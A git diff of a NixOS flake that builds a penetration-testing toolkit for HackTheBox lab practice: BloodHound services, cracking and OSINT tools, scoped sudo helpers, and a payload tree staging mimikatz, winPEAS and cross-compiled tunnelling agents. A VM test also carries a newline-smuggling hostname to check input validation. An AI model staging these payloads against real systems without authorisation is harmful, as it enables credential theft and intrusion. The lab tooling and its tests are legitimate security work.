4.3.1, the old Electron viewer. nixpkgs dropped + # it (archived upstream, Electron 11); it is here because CE cannot + # ingest the pre-CE JSON that bloodhound-python 1.9 and SharpHound v1 + # produce, so for that data this is still the only viewer. + (import ./_pkgs/default.nix { inherit lib pkgs; }).bloodhoundLegacy + ]; + + expectedBins = [ + "bloodhound-ce" + "bloodhound-legacy" + "cypher-shell" + "neo4j" + "bloodhound-python" + "rusthound-ce" + ]; + + extraConfig = + { pkgs, lib, config, ... }: + { + services.neo4j = { + enable = true; + # BloodHound talks bolt on 7687; 7474 is neo4j's own browser. + http.enable = true; + bolt.enable = true; + # NixOS enables neo4j's HTTPS connector by default, and neo4j then + # refuses to start: "HTTPS set to enabled, but no SSL policy + # provided". The module ships no certificate, so the only way + # `services.neo4j.enable = true` works at all is to turn it off. + # Nothing is lost: this listens on localhost for one local tool. + https.enable = false; + }; + + services.postgresql = { + enable = true; + ensureDatabases = [ "bloodhound" ]; + ensureUsers = [ + { + name = "bloodhound"; + ensureDBOwnership = true; + } + ]; + }; + + # neo4j is held back from boot: it is a JVM that wants about a + # gigabyte, and this laptop should not pay for it on every boot just + # because the category is installed. + # + # postgresql is NOT held back. Forcing its wantedBy empty does not + # keep it down — other units pull it in, as the VM test showed — and + # it is small enough that fighting NixOS over it buys nothing. + systemd.services.neo4j.wantedBy = lib.mkForce [ ]; + + environment.systemPackages = + let + # postgresql is usually already up; starting it again is a no-op. + units = "neo4j.service postgresql.service"; + sudo = "/run/wrappers/bin/sudo"; + in + [ + (pkgs.writeShellScriptBin "bloodhound-up" '' + set -euo pipefail + echo "starting ${units} (neo4j takes ~20s to accept bolt)…" + ${sudo} -n systemctl start ${units} + for i in $(seq 1 60); do + if ${pkgs.curl}/bin/curl -fsS http://127.0.0.1:7474 >/dev/null 2>&1; then + echo "neo4j is up: http://127.0.0.1:7474" + echo "bloodhound-ce api: run 'bloodhound-ce' (first run prints admin creds)" + exit 0 + fi + sleep 1 + done + echo "neo4j did not answer on 7474 within 60s; journalctl -u neo4j" >&2 + exit 1 + '') + (pkgs.writeShellScriptBin "bloodhound-down" '' + set -euo pipefail + ${sudo} -n systemctl stop ${units} + echo "stopped ${units}" + '') + (pkgs.writeShellScriptBin "bloodhound-status" '' + ${pkgs.systemd}/bin/systemctl --no-pager --plain status ${units} 2>&1 | \ + ${pkgs.gnugrep}/bin/grep -E "^(.|●)? ?(neo4j|postgresql)|Active:" || true + '') + ]; + + # Scoped the same way as fan-ec (modules/hosts/laptop/fan-cli.nix): + # fixed store scripts, one job each, wheel only, these units only. + security.sudo.extraRules = [ + { + groups = [ "wheel" ]; + commands = [ + { command = "/run/current-system/sw/bin/systemctl start neo4j.service postgresql.service"; options = [ "NOPASSWD" ]; } + { command = "/run/current-system/sw/bin/systemctl stop neo4j.service postgresql.service"; options = [ "NOPASSWD" ]; } + ]; + } + ]; + }; + }) + + # The deliverable here is two running databases, so the test boots a VM and + # checks they actually come up — a binary-resolution check cannot see that. + { + perSystem = + { pkgs, ... }: + { + checks.pentest-bloodhound-vm = pkgs.testers.runNixOSTest { + name = "pentest-bloodhound"; + + nodes.machine = { + imports = [ + self.nixosModules.pentest-options + self.nixosModules.pentest-bloodhound + ]; + daemon.pentest = { + enable = true; + bloodhound.enable = true; + }; + virtualisation.memorySize = 3072; # neo4j is a JVM + _module.args.user = "daemonsec"; + users.users.daemonsec = { + isNormalUser = true; + extraGroups = [ "wheel" ]; + }; + }; + + testScript = '' + machine.wait_for_unit("multi-user.target") + + # neo4j must not be running at boot — that is the point of + # holding its wantedBy empty. postgresql is allowed to be up. + machine.fail("systemctl is-active neo4j.service") + + # ...and they start on demand, without a password, as the user. + machine.succeed("su -l daemonsec -c bloodhound-up") + machine.wait_for_unit("neo4j.service") + machine.wait_for_unit("postgresql.service") + machine.wait_for_open_port(7474) + machine.succeed("curl -fsS http://127.0.0.1:7474 >/dev/null") + + # The database bloodhound-ce expects exists and is owned by it. + machine.succeed( + "sudo -u postgres psql -tAc \"select 1 from pg_database where datname='bloodhound'\" | grep -q 1" + ) + + machine.succeed("su -l daemonsec -c bloodhound-down") + machine.fail("systemctl is-active neo4j.service") + # And the passwordless rule really is scoped to these units. + machine.fail("su -l daemonsec -c 'sudo -n systemctl start sshd.service'") + ''; + }; + }; + } + ]; +} diff --git a/modules/features/pentest/cloud.nix b/modules/features/pentest/cloud.nix @@ -0,0 +1,20 @@ +# modules/features/pentest/cloud.nix — cloud and container assessment. +# Off by default. `daemon.pentest.cloud.enable = true;` +{ lib, ... }: +(import ./_sets.nix { inherit lib; }) { + name = "cloud"; + description = "AWS, Azure, GCP and Kubernetes assessment"; + default = false; + + packages = pkgs: with pkgs; [ + awscli2 # `aws` + azure-cli # `az` + google-cloud-sdk # `gcloud` + kubectl + trivy + kube-hunter + pacu + ]; + + expectedBins = [ "aws" "az" "gcloud" "kubectl" "trivy" "kube-hunter" "pacu" ]; +} diff --git a/modules/features/pentest/crack.nix b/modules/features/pentest/crack.nix @@ -0,0 +1,30 @@ +# modules/features/pentest/crack.nix — offline cracking and guessing. +# +# `hashcat -I` needs an OpenCL runtime to use the GPU; on this machine that +# comes from the NVIDIA driver already configured in +# modules/hosts/laptop/nvidia.nix, so no extra wiring here. +{ lib, ... }: +(import ./_sets.nix { inherit lib; }) { + name = "crack"; + description = "hash cracking, password spraying and wordlist generation"; + + packages = pkgs: with pkgs; [ + hashcat + hashcat-utils + john # also `zip2john`, `ssh2john`, … + # thc-hydra, NOT `hydra`: pkgs.hydra is Nix's own continuous build system. + # The category check caught this — it would have installed a CI server. + thc-hydra # `hydra` + medusa + crowbar + crunch + cewl + hashid + python3Packages.name-that-hash # `nth` + ]; + + expectedBins = [ + "hashcat" "john" "hydra" "medusa" "crowbar" + "crunch" "cewl" "hashid" "nth" + ]; +} diff --git a/modules/features/pentest/default.nix b/modules/features/pentest/default.nix @@ -16,11 +16,32 @@ { ... }: { imports = with self.nixosModules; [ + pentest-nixpkgs # the overlay the toolkit needs (see _overlay.nix) pentest-options # the master switch and the options no category owns pentest-core # ncat, socat, smbclient, kerberos, ldap; $PAYLOADS/$WORDLISTS pentest-wordlists # seclists, rockyou, searchsploit → $WORDLISTS pentest-python # one offensive python env; impacket by name pentest-recon # port, service, host and DNS enumeration + pentest-ad # kerberos, LDAP, SMB, ADCS, relaying + pentest-web # fuzzing, injection, scanners, proxies + pentest-pivot # tunnelling and port forwarding; proxychains config + pentest-crack # hashcat, john, hydra and friends + pentest-shells # payloads, listeners, RDP, file transfer + pentest-bloodhound # BloodHound CE + neo4j + postgresql (manual start) + pentest-vpn # htbvpn: the HTB tunnel as a systemd template unit + pentest-time # htb-time: conflict-aware clock skew for Kerberos + pentest-htb # htbtarget/htbtime/htb: the box you are on + pentest-payloads # $PAYLOADS and payload-serve (multi-arch, cross-built) + pentest-update # pentest-update: move the _pkgs pins forward + pentest-gui # burp, zap, ghidra, wireshark (desktop entries) + + # Off by default; one line each in configuration.nix to enable. + pentest-dfir # memory, disk, log and artefact forensics + pentest-reversing # disassembly, decompilation, exploit dev + pentest-wireless # wifi attacks and packet capture + pentest-cloud # AWS, Azure, GCP, Kubernetes + pentest-osint # public-source collection + pentest-mobile # Android application testing ]; }; } diff --git a/modules/features/pentest/devshells.nix b/modules/features/pentest/devshells.nix @@ -0,0 +1,46 @@ +# modules/features/pentest/devshells.nix — the toolkit without installing it, +# and one check that the whole thing can coexist in a single profile. +# +# nix develop ~/NixDaemon#pentest every category, on PATH, temporarily +# nix develop ~/NixDaemon#pentest-ad one category (mkCategory makes these) +# nix develop github:…/NixDaemon#pentest the same kit on any machine with Nix +# +# The per-category shells come from _sets.nix. This file adds the union, and +# `checks.pentest-collisions`. +# +# Why that check exists: environment.systemPackages merges everything into ONE +# profile with buildEnv, so two packages owning the same bin/ name is a hard +# failure that stops the system building. The toplevel build catches it only +# for the categories that are ENABLED — dfir, reversing, wireless, cloud, +# osint and mobile ship off, so a collision in one of them would lie dormant +# until the day you enabled it mid-engagement. This merges all of them, +# enabled or not. It is how `pwntools` shipping bin/checksec alongside the +# standalone `checksec` package was caught. +{ self, ... }: +{ + perSystem = + { pkgs, lib, ... }: + let + sets = self.pentestPackages or { }; + allPackages = lib.concatMap (f: f pkgs) (lib.attrValues sets); + names = lib.attrNames sets; + in + { + devShells.pentest = pkgs.mkShell { + name = "pentest"; + packages = allPackages; + shellHook = '' + echo "pentest: ${toString (lib.length names)} categories — ${lib.concatStringsSep " " names}" + echo " \$WORDLISTS and \$PAYLOADS are only set on the installed system," + echo " not in this shell; use \$(nix build ..#checks..) paths if you need them." + ''; + }; + + checks.pentest-collisions = pkgs.buildEnv { + name = "pentest-collisions-check"; + paths = allPackages; + # The default (false) is the point: a clash fails this derivation. + ignoreCollisions = false; + }; + }; +} diff --git a/modules/features/pentest/dfir.nix b/modules/features/pentest/dfir.nix @@ -0,0 +1,28 @@ +# modules/features/pentest/dfir.nix — forensics and incident response. +# Off by default: not CPTS material. `daemon.pentest.dfir.enable = true;` +{ lib, ... }: +(import ./_sets.nix { inherit lib; }) { + name = "dfir"; + description = "memory, disk, log and artefact forensics"; + default = false; + + packages = pkgs: with pkgs; [ + volatility3 # `vol`, `volshell` + sleuthkit # fls, icat, blkls, fsstat, … + yara + capa + chainsaw # Windows event log hunting + hayabusa # Sigma over EVTX + exiftool + foremost + testdisk # testdisk, photorec + chntpw # offline SAM / registry editing + binwalk + ]; + + expectedBins = [ + "vol" "volshell" "fls" "icat" "fsstat" "yara" "capa" + "chainsaw" "hayabusa" "exiftool" "foremost" "testdisk" "photorec" + "chntpw" "binwalk" + ]; +} diff --git a/modules/features/pentest/gui.nix b/modules/features/pentest/gui.nix @@ -0,0 +1,48 @@ +# modules/features/pentest/gui.nix — the windowed tools, with desktop entries +# so they appear in the launcher the way Kali's menu does. +# +# Kept separate from the headless categories: enabling `web` should not drag in +# a JDK, and a remote session should be able to skip this entirely. +# +# programs.wireshark is set here with lib.mkDefault so gui and wireless can +# both be on without conflicting — wireless.nix sets the same option the same +# way, and either alone is enough to get the dumpcap capability wrapper. +{ lib, ... }: +(import ./_sets.nix { inherit lib; }) { + name = "gui"; + description = "burp, zap, ghidra, wireshark, autopsy and other windowed tools"; + + packages = pkgs: with pkgs; [ + burpsuite # unfree; allowed by nixpkgs.nix and by the host + zap + ghidra + cutter + autopsy + sqlitebrowser + wireshark + ]; + + expectedBins = [ + "burpsuite" "zap" "ghidra" "cutter" "autopsy" "sqlitebrowser" "wireshark" + ]; + + # Every tool above must actually ship a .desktop file, or it will not appear + # in the launcher and the point of this category is lost. + checkScript = { pkgs, lib }: '' + for p in ${pkgs.burpsuite} ${pkgs.zap} ${pkgs.ghidra} ${pkgs.cutter} ${pkgs.wireshark} ${pkgs.sqlitebrowser}; do + if ! ls "$p"/share/applications/*.desktop >/dev/null 2>&1; then + echo "pentest-gui: $p ships no share/applications/*.desktop entry" >&2 + exit 1 + fi + done + ''; + + extraConfig = { pkgs, lib, ... }: { + # The package alone cannot capture: this creates the `wireshark` group and + # the setcap dumpcap wrapper. Without it you need full root to sniff. + programs.wireshark = { + enable = lib.mkDefault true; + package = lib.mkDefault pkgs.wireshark; + }; + }; +} diff --git a/modules/features/pentest/htb.nix b/modules/features/pentest/htb.nix @@ -0,0 +1,332 @@ +# modules/features/pentest/htb.nix — the box you are currently on, shared by +# every terminal. +# +# htbtarget 10.10.11.5 dc01.vintage.htb set the target (+ optional name) +# htbtarget print it +# htbtarget clear forget it, and clear /etc/hosts +# htbtime [host] clock-skew helper (defaults to $TARGET) +# htb new <box> [ip] scaffold ~/htb/<box> and set the target +# htb ls boxes worked, newest first +# +# Why a file and a shell hook rather than an exported variable: a variable set +# in one terminal cannot reach a shell that is already running. The target +# lives in $XDG_STATE_HOME/htb/, and modules/home/htb-shell.nix re-reads it in +# zsh's precmd, so every terminal picks up a change at its next prompt. A shell +# sitting mid-command keeps the old value until it returns — that is inherent, +# and the cheat card says so. +# +# /etc/hosts needs care on NixOS: it is normally a symlink into the store, so +# it cannot be edited at all. environment.etc.hosts.mode below makes NixOS copy +# it instead, which is what makes `htbtarget <ip> <fqdn>` possible. A rebuild +# regenerates the file and drops the block, which is fine: it is as ephemeral +# as the target itself. Kerberos needs the name to resolve, so this matters on +# every AD box. +{ lib, self, ... }: +{ + flake.nixosModules.pentest-htb = + { config, pkgs, lib, user, ... }: + let + on = config.daemon.pentest.enable; + sudo = "/run/wrappers/bin/sudo"; + beginMark = "# BEGIN htb (managed by htbtarget — edits here are overwritten)"; + endMark = "# END htb"; + + # Root half: rewrites only the marked region of /etc/hosts. Validates its + # own arguments rather than trusting the caller, because it runs as root. + htb-hosts = pkgs.writeShellScriptBin "htb-hosts" '' + set -uo pipefail + [ "$(id -u)" = 0 ] || { echo "htb-hosts: run as root (htbtarget does that)" >&2; exit 1; } + PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.gnused pkgs.gnugrep ]}:$PATH + + F=/etc/hosts + BEGIN=${lib.escapeShellArg beginMark} + END=${lib.escapeShellArg endMark} + + if [ -L "$F" ]; then + echo "htb-hosts: $F is a symlink into the Nix store and cannot be edited." >&2 + echo "htb-hosts: environment.etc.hosts.mode should have made it a real file;" >&2 + echo "htb-hosts: rebuild the system (nh os switch) and try again." >&2 + exit 1 + fi + + strip_block() { sed "/^$BEGIN\$/,/^$END\$/d" "$F"; } + + case "''${1:-}" in + clear) + tmp=$(mktemp); strip_block > "$tmp" + cat "$tmp" > "$F"; rm -f "$tmp" + echo "htb-hosts: cleared" ;; + set) + ip="''${2:-}"; shift 2 || true + names="$*" + [ -n "$ip" ] && [ -n "$names" ] || { echo "usage: htb-hosts set <ip> <name>…" >&2; exit 2; } + + # Re-validate as root. Anything but a bare address and DNS labels is + # refused, so nothing can smuggle extra lines into /etc/hosts. + case "$ip" in + *[!0-9a-fA-F.:]*|"") echo "htb-hosts: bad address: $ip" >&2; exit 2 ;; + esac + for n in $names; do + case "$n" in + *[!A-Za-z0-9.-]*|-*|.*|"") echo "htb-hosts: bad hostname: $n" >&2; exit 2 ;; + esac + done + + tmp=$(mktemp) + strip_block > "$tmp" + printf '%s\n%s %s\n%s\n' "$BEGIN" "$ip" "$names" "$END" >> "$tmp" + cat "$tmp" > "$F"; rm -f "$tmp" + echo "htb-hosts: $ip $names" ;; + *) echo "usage: htb-hosts set <ip> <name>… | clear" >&2; exit 2 ;; + esac + ''; + + stateSh = '' + STATE="''${XDG_STATE_HOME:-$HOME/.local/state}/htb" + mkdir -p "$STATE" + ''; + + htbtarget = pkgs.writeShellScriptBin "htbtarget" '' + set -uo pipefail + PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.gnugrep ]}:$PATH + ${stateSh} + + show() { + if [ -s "$STATE/target" ]; then + printf 'target %s' "$(cat "$STATE/target")" + [ -s "$STATE/host" ] && printf ' (%s)' "$(cat "$STATE/host")" + [ -s "$STATE/box" ] && printf ' box %s' "$(cat "$STATE/box")" + printf '\n' + echo " \$TARGET updates in other terminals at their next prompt" + else + echo "no target set — htbtarget <ip> [name]" + fi + } + + # Review Focus #4: validate BEFORE anything privileged runs. The deny + # patterns reject embedded newlines too, so no extra /etc/hosts line can + # be smuggled through a hostname. + valid_ip() { + case "$1" in + *[!0-9a-fA-F.:]*|"") return 1 ;; + esac + # dotted quad, or something with a colon (v6) + case "$1" in + *:*) return 0 ;; + *.*.*.*) + local o IFS=. + for o in $1; do + case "$o" in ""|*[!0-9]*) return 1 ;; esac + [ "$o" -le 255 ] || return 1 + done + return 0 ;; + *) return 1 ;; + esac + } + valid_host() { + case "$1" in + *[!A-Za-z0-9.-]*|-*|.*|*..*|"") return 1 ;; + esac + return 0 + } + + case "''${1:-}" in + "") show ;; + clear) + rm -f "$STATE/target" "$STATE/host" "$STATE/box" + ${sudo} -n ${lib.getExe htb-hosts} clear >/dev/null 2>&1 || true + echo "htbtarget: cleared" ;; + -h|--help) echo "usage: htbtarget [<ip> [hostname…]] | clear" ;; + *) + ip="$1"; shift + if ! valid_ip "$ip"; then + echo "htbtarget: not an IP address: $ip" >&2 + exit 2 + fi + for n in "$@"; do + if ! valid_host "$n"; then + echo "htbtarget: not a hostname: $n" >&2 + exit 2 + fi + done + printf '%s\n' "$ip" > "$STATE/target" + if [ "$#" -gt 0 ]; then + printf '%s\n' "$*" > "$STATE/host" + ${sudo} -n ${lib.getExe htb-hosts} set "$ip" "$@" || { + echo "htbtarget: target set, but /etc/hosts was not updated" >&2 + exit 1 + } + else + rm -f "$STATE/host" + fi + show ;; + esac + ''; + + htbtime = pkgs.writeShellScriptBin "htbtime" '' + set -uo pipefail + ${stateSh} + case "''${1:-}" in + off|status) exec ${sudo} -n /run/current-system/sw/bin/htb-time "$1" ;; + esac + host="''${1:-}" + if [ -z "$host" ]; then + if [ -s "$STATE/target" ]; then host=$(cat "$STATE/target"); else + echo "htbtime: no target set — run 'htbtarget <ip>' first, or 'htbtime <host>'" >&2 + exit 2 + fi + fi + exec ${sudo} -n /run/current-system/sw/bin/htb-time "$host" + ''; + + # A file rather than a heredoc inside the script: an indented heredoc + # terminator does not terminate (<<- strips tabs, not spaces), and + # writeShellScriptBin's bash -n caught exactly that. + notesTemplate = pkgs.writeText "htb-notes-template.md" '' + # @BOX@ + + - target: @TARGET@ + - names: + - started: @DATE@ + + ## ports + + ## foothold + + ## credentials + + | user | secret | where it works | + |------|--------|----------------| + + ## escalation + + ## loot + ''; + + htb = pkgs.writeShellScriptBin "htb" '' + set -uo pipefail + PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.gnused ]}:$PATH + ${stateSh} + ROOT="$HOME/htb" + + case "''${1:-ls}" in + new) + box="''${2:-}" + [ -n "$box" ] || { echo "usage: htb new <box> [ip]" >&2; exit 2; } + case "$box" in *[!A-Za-z0-9_.-]*|.*|"") echo "htb: bad box name: $box" >&2; exit 2 ;; esac + d="$ROOT/$box" + mkdir -p "$d"/{nmap,loot,creds,www,exploit} + if [ ! -e "$d/notes.md" ]; then + ${pkgs.gnused}/bin/sed \ + -e "s|@BOX@|$box|" \ + -e "s|@TARGET@|''${3:-}|" \ + -e "s|@DATE@|$(date -I)|" \ + ${notesTemplate} > "$d/notes.md" + fi + printf '%s\n' "$box" > "$STATE/box" + [ -n "''${3:-}" ] && ${lib.getExe htbtarget} "$3" >/dev/null + echo "$d" ;; + ls) + [ -d "$ROOT" ] || { echo "no boxes yet — htb new <box>"; exit 0; } + ls -1dt "$ROOT"/*/ 2>/dev/null | ${pkgs.gnused}/bin/sed "s|$ROOT/||;s|/$||" || echo "no boxes yet" ;; + -h|--help) echo "usage: htb new <box> [ip] | ls" ;; + *) echo "usage: htb new <box> [ip] | ls" >&2; exit 2 ;; + esac + ''; + in + { + config = lib.mkIf on { + environment.systemPackages = [ htbtarget htbtime htb htb-hosts ]; + + # Makes /etc/hosts a real, writable file instead of a store symlink. + # Without this htb-hosts cannot work at all (and says so). + environment.etc.hosts.mode = "0644"; + + security.sudo.extraRules = [ + { + groups = [ "wheel" ]; + commands = [ + { command = "${lib.getExe htb-hosts}"; options = [ "NOPASSWD" ]; } + { command = "/run/current-system/sw/bin/htb-hosts"; options = [ "NOPASSWD" ]; } + ]; + } + ]; + }; + }; + + perSystem = + { pkgs, ... }: + { + checks.pentest-htb-vm = pkgs.testers.runNixOSTest { + name = "pentest-htb"; + + nodes.machine = { + imports = [ + self.nixosModules.pentest-options + self.nixosModules.pentest-htb + ]; + daemon.pentest.enable = true; + _module.args.user = "daemonsec"; + users.users.daemonsec = { + isNormalUser = true; + extraGroups = [ "wheel" ]; + }; + }; + + testScript = '' + machine.wait_for_unit("multi-user.target") + + def as_user(cmd): + return f"su -l daemonsec -c {cmd!r}" + + # The NixOS-specific precondition: /etc/hosts must be a real file. + machine.succeed("test -f /etc/hosts && test ! -L /etc/hosts") + + machine.succeed(as_user("htbtarget") + " | grep -q 'no target set'") + + # A plain address is accepted and persisted. + machine.succeed(as_user("htbtarget 10.10.11.5")) + machine.succeed(as_user("htbtarget") + " | grep -q 10.10.11.5") + + # Review Focus #4: malformed input is refused BEFORE /etc/hosts is touched. + hosts_before = machine.succeed("cat /etc/hosts") + machine.fail(as_user("htbtarget 'not an ip'")) + machine.fail(as_user("htbtarget 10.10.11.999")) + machine.fail(as_user("htbtarget 10.10.11.5 'bad name'")) + # An embedded newline must not smuggle a second /etc/hosts entry. + machine.fail(as_user("htbtarget 10.10.11.5 $'x\\n1.2.3.4 evil'")) + assert machine.succeed("cat /etc/hosts") == hosts_before, "/etc/hosts changed on a rejected input" + machine.fail("grep -q evil /etc/hosts") + + # A hostname writes exactly one marked block, and is idempotent. + machine.succeed(as_user("htbtarget 10.10.11.5 dc01.vintage.htb vintage.htb")) + machine.succeed("grep -q '10.10.11.5 dc01.vintage.htb vintage.htb' /etc/hosts") + assert machine.succeed("grep -c 'BEGIN htb' /etc/hosts").strip() == "1" + machine.succeed(as_user("htbtarget 10.10.11.6 dc01.vintage.htb")) + assert machine.succeed("grep -c 'BEGIN htb' /etc/hosts").strip() == "1", "block duplicated" + machine.succeed("grep -q '10.10.11.6 dc01.vintage.htb' /etc/hosts") + machine.fail("grep -q 10.10.11.5 /etc/hosts") + + # localhost must survive all of this. + machine.succeed("grep -q '127.0.0.1 localhost' /etc/hosts") + + # clear removes both the state and the block. + machine.succeed(as_user("htbtarget clear")) + machine.fail("grep -q 'BEGIN htb' /etc/hosts") + machine.succeed(as_user("htbtarget") + " | grep -q 'no target set'") + + # htbtime with no target must name the command that sets one. + machine.fail(as_user("htbtime") + " 2>&1 | grep -q htbtarget") + + # Engagement scaffolding. + out = machine.succeed(as_user("htb new escape 10.10.11.202")).strip() + assert out.endswith("/htb/escape"), out + for sub in ["nmap", "loot", "creds", "www", "exploit"]: + machine.succeed(f"test -d /home/daemonsec/htb/escape/{sub}") + machine.succeed("grep -q '^# escape' /home/daemonsec/htb/escape/notes.md") + machine.succeed(as_user("htbtarget") + " | grep -q 10.10.11.202") + machine.succeed(as_user("htb ls") + " | grep -q escape") + ''; + }; + }; +} diff --git a/modules/features/pentest/mobile.nix b/modules/features/pentest/mobile.nix @@ -0,0 +1,31 @@ +# modules/features/pentest/mobile.nix — Android application testing. +# Off by default. `daemon.pentest.mobile.enable = true;` +# +# `objection` is deliberately absent: it pulls the Android SDK, which is behind +# Google's android-sdk-license. Accepting a licence is the operator's call, not +# this module's, so if you want objection add BOTH of these yourself: +# +# nixpkgs.config.android_sdk.accept_license = true; +# daemon.pentest.mobile.enable = true; # and add objection here +# +# Everything else here (frida, apktool, jadx, dex2jar, scrcpy, adb) is free. +{ lib, ... }: +(import ./_sets.nix { inherit lib; }) { + name = "mobile"; + description = "APK unpacking, decompilation and runtime instrumentation"; + default = false; + + packages = pkgs: with pkgs; [ + apktool + jadx # jadx, jadx-gui + dex2jar # d2j-dex2jar and friends + frida-tools # frida, frida-ps, … + scrcpy + android-tools # adb + ]; + + expectedBins = [ + "apktool" "jadx" "d2j-dex2jar" "frida" "frida-ps" + "scrcpy" "adb" + ]; +} diff --git a/modules/features/pentest/nixpkgs.nix b/modules/features/pentest/nixpkgs.nix @@ -0,0 +1,31 @@ +# modules/features/pentest/nixpkgs.nix — one package set for the system and for +# the flake's own outputs. +# +# The checks in _sets.nix run against perSystem's `pkgs`, which by default is +# plain nixpkgs: no overlays, no allowUnfree. The system, meanwhile, has both. +# A check that passes against a different package set from the one the system +# builds is not a check, so this module points them at the same thing: +# +# _overlay.nix the fixes (see that file for why each exists) +# allowUnfree burpsuite, and the host already allows it +{ inputs, ... }: +let + overlay = import ./_overlay.nix; +in +{ + perSystem = + { system, ... }: + { + _module.args.pkgs = import inputs.nixpkgs { + inherit system; + overlays = [ overlay ]; + config.allowUnfree = true; + }; + }; + + flake.nixosModules.pentest-nixpkgs = + { ... }: + { + nixpkgs.overlays = [ overlay ]; + }; +} diff --git a/modules/features/pentest/options.nix b/modules/features/pentest/options.nix @@ -11,9 +11,23 @@ # # Scope: authorised lab use (HackTheBox CPTS prep). Nothing here points at any # host; the operator supplies targets at runtime. -{ ... }: +{ inputs, lib, ... }: { - flake.nixosModules.pentest-options = + # Each category file sets `flake.pentestPackages.<name>` (_sets.nix). That has + # to be DECLARED as an attribute set, or flake-parts treats the whole + # `flake.pentestPackages` as one freeform value and the second category to + # define it fails with "defined multiple times". devshells.nix reads the + # merged result to build the union shell and the collision check. + options.flake = inputs.flake-parts.lib.mkSubmoduleOptions { + pentestPackages = lib.mkOption { + type = lib.types.lazyAttrsOf lib.types.raw; + default = { }; + description = "Per-category `pkgs -> [package]` functions, by category name."; + }; + }; + + # Under `config` because this module also declares `options` above. + config.flake.nixosModules.pentest-options = { lib, config, user, ... }: let cfg = config.daemon.pentest; diff --git a/modules/features/pentest/osint.nix b/modules/features/pentest/osint.nix @@ -0,0 +1,18 @@ +# modules/features/pentest/osint.nix — open-source collection. +# Off by default. `daemon.pentest.osint.enable = true;` +{ lib, ... }: +(import ./_sets.nix { inherit lib; }) { + name = "osint"; + description = "people, domain and account enumeration from public sources"; + default = false; + + packages = pkgs: with pkgs; [ + theharvester # `theHarvester` + recon-ng # recon-ng, recon-cli + sherlock + maigret + holehe + ]; + + expectedBins = [ "theHarvester" "recon-ng" "recon-cli" "sherlock" "maigret" "holehe" ]; +} diff --git a/modules/features/pentest/payloads.nix b/modules/features/pentest/payloads.nix @@ -0,0 +1,331 @@ +# modules/features/pentest/payloads.nix — $PAYLOADS: everything you might drop +# on a target, in one predictable tree, plus one command to serve it. +# +# $PAYLOADS/windows/{amd64,x86}/{creds,agents,privesc,privesc/potato,ad} +# $PAYLOADS/linux/{amd64,arm64}/{agents,privesc} +# $PAYLOADS/macos/arm64/agents +# $PAYLOADS/scripts/{ad,printer,privesc} +# $PAYLOADS/sharpcollection/ the full 102-tool set, per framework +# +# payload-serve [port] HTTP, bound to the VPN interface only +# payload-serve --smb impacket smbserver, same binding +# payload-serve --list print the tree +# +# Provenance, honestly: the Go tools (ligolo-ng, chisel) ARE cross-compiled +# from source here, for windows/amd64, linux/arm64 and darwin/arm64, via a +# GOOS/GOARCH override. mimikatz is NOT — nixpkgs' mimikatz repackages +# gentilkiwi's official signed release zip, which already contains both Win32 +# and x64 builds, and building it from source would need MSVC. The .NET tools +# in _pkgs/ are likewise pinned prebuilt releases. So: Go from source, the rest +# pinned by hash. +# +# Versioned duplicates live here as distinct FILES rather than competing for a +# PATH name — that is the whole reason payloads are files and not commands. +{ lib, self, ... }: +let + mkTree = + { pkgs, windowsArches }: + let + p = import ./_pkgs/default.nix { inherit lib pkgs; }; + + # Go cross-compile: nixpkgs has no mingw path for these, but Go does not + # need one. Output lands in bin/<goos>_<goarch>/. + goCross = pkg: goos: goarch: pkg.overrideAttrs (o: { + env = (o.env or { }) // { + GOOS = goos; + GOARCH = goarch; + CGO_ENABLED = "0"; + }; + doCheck = false; + doInstallCheck = false; + nativeInstallCheckInputs = [ ]; + postInstall = ""; # upstream's rename loop assumes a flat bin/ + }); + + # Go, cross-compiled from source. pkgsCross.mingwW64 is deliberately NOT + # used for these: it fails for ligolo-ng (its install check tries to run + # the Windows binary on the builder), while a plain GOOS/GOARCH override + # works for every target. One mechanism for all of them. + winLigolo = goCross pkgs.ligolo-ng "windows" "amd64"; + winChisel = goCross pkgs.chisel "windows" "amd64"; + armLigolo = goCross pkgs.ligolo-ng "linux" "arm64"; + armChisel = goCross pkgs.chisel "linux" "arm64"; + macLigolo = goCross pkgs.ligolo-ng "darwin" "arm64"; + macChisel = goCross pkgs.chisel "darwin" "arm64"; + + # mimikatz: already both architectures inside the official release that + # nixpkgs repackages, at share/windows/mimikatz/{x64,Win32}/. + mimikatzNew = pkgs.mimikatz; + mimikatzNewVer = lib.removePrefix "mimikatz-" pkgs.mimikatz.name; + + wantX86 = lib.elem "x86" windowsArches; + in + pkgs.runCommand "pentest-payloads" + { + meta.description = "Staged offensive payloads for authorised lab use"; + } + '' + set -euo pipefail + + # pick <dest-file> <search-root> <glob>... + # Copies the first match, and FAILS the build when nothing matches, so + # an upstream rename is a loud error rather than a missing payload you + # discover on a box at 2am. + pick() { + local dest="$1" root="$2"; shift 2 + local pat f + for pat in "$@"; do + f=$(find -L "$root" -type f -name "$pat" 2>/dev/null | head -1) + if [ -n "$f" ]; then + install -D -m0644 "$f" "$dest" + return 0 + fi + done + echo "payloads: no match for [$*] under $root" >&2 + exit 1 + } + + mkdir -p $out/windows/amd64/{creds,agents,privesc/potato,ad} \ + $out/linux/{amd64,arm64}/{agents,privesc} \ + $out/macos/arm64/agents \ + $out/scripts/{ad,printer,privesc} + ${lib.optionalString wantX86 "mkdir -p $out/windows/x86/{creds,agents,privesc}"} + + ##### Windows x64 ##################################################### + # Explicit paths, not a glob: a `find … | head -1` here would match + # Win32/mimikatz.exe first (alphabetically) and quietly stage the + # 32-bit build in the amd64 slot. + install -m0644 ${mimikatzNew}/share/windows/mimikatz/x64/mimikatz.exe \ + $out/windows/amd64/creds/mimikatz-${mimikatzNewVer}.exe + ln -s mimikatz-${mimikatzNewVer}.exe $out/windows/amd64/creds/mimikatz.exe + install -m0644 ${p.mimikatzOld}/x64/mimikatz.exe \ + $out/windows/amd64/creds/mimikatz-2.2.0-20210810.exe + install -m0644 ${mimikatzNew}/share/windows/mimikatz/Win32/mimilove.exe \ + $out/windows/amd64/creds/ 2>/dev/null || true + pick $out/windows/amd64/agents/ligolo-agent.exe ${winLigolo} 'ligolo-agent.exe' 'agent.exe' + pick $out/windows/amd64/agents/chisel.exe ${winChisel} 'chisel.exe' + install -m0644 ${p.peass}/windows/winPEASx64.exe $out/windows/amd64/privesc/ + install -m0644 ${p.peass}/windows/winPEASany.exe $out/windows/amd64/privesc/ 